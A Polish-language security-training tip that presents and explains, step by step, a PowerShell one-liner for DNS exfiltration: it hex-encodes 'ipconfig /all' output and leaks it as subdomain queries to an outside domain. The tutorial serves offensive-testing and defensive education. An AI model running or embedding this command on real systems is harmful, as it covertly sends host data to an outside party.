alphasec academy

Eksfiltracja DNS w jednym wierszu: (-join ((ipconfig /all|out-string).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})", "`$1.").trim('.')|%{ Resolve-DNSName "$_.$(($i++)).aptmc.pl"}

Dodatkowe informacje

Wprawdzie eksfiltracja po DNS (Domain Name System) pojawiła się już w protipie 000d, tutaj mamy podobną funkcjonalność ale nie w postaci wielolinijkowego skryptu, a jednolinijkowego polecenia.
Oneliner ten bardziej przypomina jeden z moich ulubionych onelinerów, który realizuje eksfiltrację po ICMP przedstawioną w protipie 0072.
Prawdopodobnie na podstawie innych protipów łatwo zdekodować jaka magia się tutaj dzieje, ale dla wygody:
  • -join (...)
    - operator
    -join
    stojąc po lewej stronie wyrażenia złączy nam wszystkie znaki z tablicy znakiem pustym,
  • (ipconfig|Out-String)
    - uruchamiamy polecenie
    ipconfig
    , którego wynik wysyłamy do cmdletu
    Out-String
    , który spowoduje, że całość zostanie przekazana dalej jako łańcuch znakówa,
  • -split "(?s)(.{64})"
    - wejściowy string dzielimy separatorem zdefiniowany wskazanym wyrażeniem regularnym. W pierwszej części wyrażenia regularnego wykorzystujemy modyfikator
    (?s)
    , by poinformować, że mamy do czynienia z tekstem jednolinijkowym, a więc w uproszczeniu, żeby znak nowego wiersza był takim samym znakiem jak każdy inny. Nasz separator to
    .{64}
    czyli dowolne 64 znaki. Dodatkowo, separator ten zawarliśmy w nawiasie okrągłym:
    (.{64})
    . Informuje to operator
    -split
    , by separatory również zostały zwrócone - bez tego kroku, uzyskalibyśmy wyłącznie puste linie,
  • %{ ... }
    -
    %
    to alias na cmdlet
    ForEach-Object
    , który dla każdego elementu wejściowego tablicy uruchamia wskazany dalej blok kodu,
  • {"{0:X2}"-f[int]$_})
    - zamiana znaku (char) na jego postać szesnastkową (wielkie litery, dokładnie 2 znaki, a więc 0x0A zamiast np. 0xA),
  • -match "."
    - w wyniku poprzednich działań otrzymamy na przemian separator (64 znaki) pusta linia, separator, pusta linia i tak dalej, dlatego wykorzystujemy operator
    -match
    , by przefiltrował nam zwracaną tablicę zwracając tylko te, które składają się z jakiegoś znaku, a więc pozbywamy się pustych linii,
  • -replace "([\w]{16})", "`$1.").trim('.')
    - z wykorzystaniem operatore
    -replace
    , każde dowolne 16 znaków zamieniamy na te 16 znaki zakończone kropką; czyli de facto dzielimy domenę na subdomeny o długości 16 znaków. Jeśli tak się stanie, że na końcu będzie kropka, usuwamy ją za pomocą metody
    trim
    ,
  • Resolve-DNSName "$_.$(($i++)).aptmc.pl"
    - w zmiennej
    $_
    mamy subdomeny zawierającej payload do wyeksfiltrowania w postaci liczb szesnastkowych, wykorzystujemy je do zbudowania strina z pełną domeną, na której uruchamiamy cmdlet
    Resolve-DNSName
    , który odpyta serwer obsługujący domenę główną o rekordy A, AAAA oraz CNAME dla danej subdomeny. W taki sposób wysyłamy do niego eksfiltrowane dane.

Przydatne linki


Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.